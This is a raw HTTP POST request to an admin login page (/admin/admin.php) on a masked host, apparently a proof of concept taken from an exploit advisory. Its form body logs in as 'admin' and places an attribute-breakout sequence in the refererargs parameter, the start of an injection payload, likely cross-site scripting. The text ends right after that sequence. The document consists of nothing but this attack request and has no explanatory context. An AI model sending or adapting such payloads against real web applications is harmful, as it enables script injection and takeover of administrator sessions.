POST /admin/admin.php HTTP/1.1 Content-Length: 110 Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.mspowerpoint, application/msword, application/x-shockwave-flash, */* Referer: http://xxx.xxx.xxx.xxx/admin/admin.php Accept-Language: es-AR Content-Type: application/x-www-form-urlencoded Host: xxx.xxx.xxx.xxx Pragma: no-cache Connection: Keep-Alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) user=admin&password=test&loginlang=default&action=login&refererargs="/>